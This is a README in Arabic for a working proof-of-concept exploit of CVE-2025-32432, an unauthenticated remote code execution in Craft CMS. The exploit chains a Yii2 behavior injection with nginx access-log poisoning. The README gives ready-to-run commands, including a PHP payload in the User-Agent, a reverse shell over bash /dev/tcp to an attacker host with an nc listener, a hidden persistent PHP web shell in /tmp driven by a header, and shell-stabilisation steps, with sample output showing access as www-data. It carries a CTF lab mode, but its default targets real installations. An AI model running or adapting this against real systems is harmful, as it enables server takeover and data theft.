
PoC عملي لـ CVE-2025-32432 - Craft CMS <= 5.6.16 RCE غير مصادق عليه عبر أداة Yii2 PhpManager + تسميم سجل الوصول لـ nginx
برهان مفهوم عامل لـ CVE-2025-32432، وهي ثغرة تنفيذ أوامر عن بعد دون مصادقة في Craft CMS الإصدارات حتى 5.6.16 (وتؤثر أيضًا على السلاسل 4.x و 3.x في مسارات الكود المكافئة).
كلمات البحث: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
الوضع الافتراضي يستهدف تثبيتات Craft CMS العادية. تم تضمين علامة --lab
لتحدي carangueijada-20 من مشروع
hacklab-platform،
الذي يحجب Craft خلف كعكة جلسة مخصصة.
المكون المتأثر: craft\controllers\AssetsController::actionGenerateTransform.
تم تسجيل الإجراء كـ allowAnonymous، لذلك لا يلزم مصادقة. يقبل معامل POST
handle والذي يتم نشره بعد ذلك في استدعاء Craft::createObject():
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
عندما يكون $handle مصفوفة ترابطية تحت سيطرة المهاجم، فإن النشر يحقن
مفاتيح عشوائية في إعداد المُنشئ. على وجه الخصوص، يتم تفسير مفتاح يبدأ بـ
as بواسطة yii\base\Component::__set كمرفق سلوك، والذي يستدعي
Yii::createObject($config) على القيمة قبل أي فحص نوع:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
أضاف إصلاح Yii2 في 2.0.50 حماية is_subclass_of($value['class'], Behavior::class)
لهذا الفرع؛ التثبيتات الثغرة (Yii2 <= 2.0.49، أو الفحص المُزال سابقًا)
تتجاوز الحماية بالكامل.
yii\rbac\PhpManagerPhpManager هي فئة Yii2 قياسية. تستدعي init() دالة load()، والتي تستدعي
loadFromFile($this->itemFile). loadFromFile حرفيًا هي:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require يوزع أي ملف على القرص كـ PHP. إذا كان الملف يحتوي على كتلة
<?php ... ?>، يتم تشغيل تلك الكتلة في العامل. من خلال توجيه itemFile
إلى ملف يتحكم المهاجم في محتواه، يتم تحقيق تنفيذ أوامر كامل.
access.logالمستودع (sink) الموثوق عبر التثبيتات هو سجل nginx بتنسيق المشترك
access.log. يسجل User-Agent الخاص بالطلب كما هو، بما في ذلك
الأحرف غير القابلة للطباعة ومعظم علامات الترقيم. بإرسال طلب
User-Agent الخاص به هو <?php system('id'); exit; ?>، يقوم المهاجم
بزرع كتلة PHP في مسار معروف. ثم توجيه itemFile إلى
/var/log/nginx/access.log يؤدي إلى require للسجل، مما ينفذ كل
كتلة <?php ... ?> بالترتيب.
هناك نقطتان دقيقتان مهمتان:
" إلى \x22
في التنسيق المشترك، مما يكسر تحليل PHP للسطر. استخدم علامات الاقتباس
المفردة أو دالة chr() للربط.exit; في النهاية حتى يتوقف require قبل تحليل سجلات لاحقة
قد تحتوي على حمولات مشوهة أخرى.| المكون | قابل للثغرة | مصحح |
|---|---|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Craft 5.6.17 يضيف فحص ImageTransformerInterface على فئة المحول.
Yii2 2.0.50 يضيف فحص صنف فرعي Behavior داخل Component::__set.
أي من الإصلاحين وحده يغلق سلسلة الأجهزة هذه.
requests (pip install -r requirements.txt)assetId صالح من Craft على الهدف. الافتراضي هو 2؛ يمكن التجاوز مع
-a <id> إذا لزم الأمر (عادة ما يكون asset id 1 هو الصورة الرمزية للمشرف).python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile مخصص (مسار سجل مختلف، جلسة FPM، إلخ.)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
يعمل مختبر carangueijada-20 من
hacklab-platform على
حماية تثبيت Craft خلف كعكة coopsess الصادرة عن PATCH /login.
تتعامل علامة --lab مع تلك المصافحة تلقائياً.
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
تأكد من أن www.carangueijada.coop تحل إلى IP المختبر (أضف إلى
/etc/hosts إذا لزم الأمر).
علامة --revshell تطلق اتصال عكسي bash -i >& /dev/tcp/<lhost>/<lport> 0>&1
في الخلفية، بحيث يعود طلب gadget على الفور.
تدفق نافذتين (الأكثر موثوقية):
# الطرفية 1 - المستمع على جهازك
nc -lvnp 4444
# الطرفية 2 - إطلاق الاستغلال
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
تدفق نافذة واحدة مع مستمع مدمج:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen يقوم بتشغيل nc -lvnp <lport> في نفس الطرفية قبل
إطلاق الحمولة. Ctrl+C للخروج عند الانتهاء.
جلسة نموذجية (مختبر):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# في المستمع:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
تثبيت الشل (بعد الاتصال، قم بتشغيل داخل الشل العكسي):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z لخلفية nc
stty raw -echo; fg
# اضغط Enter مرتين
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
في التشغيل الأول، يقوم الاستغلال بتسميم access.log مرة واحدة لإسقاط
غلاف PHP مخفي في /tmp/.cve32432_w.php. يقرأ الغلاف رأس HTTP X-Cmd
ويشغل system($_SERVER['HTTP_X_CMD']). كل عملية إرسال لاحقة توجه itemFile
إلى ملف الغلاف وتمرر الأمر عبر الرأس. لا مزيد من التسميم، لا مزيد من تلوث السجل،
لا مزيد من فشل "أول كتلة <?php exit; تفوز".
إذا كنت ترغب في فرض إعادة الإسقاط، احذف /tmp/.cve32432_w.php على الهدف
(يمكنك القيام بذلك من خلال الغلاف نفسه: --cmd 'rm /tmp/.cve32432_w.php').
تشغيل ناجح ضد هدف جديد:
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*] CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*] poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux
التراجع عند تلوث السجل (تم استغلال الهدف سابقًا، حمولة أقدم تخرج قبل حمولتك):
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)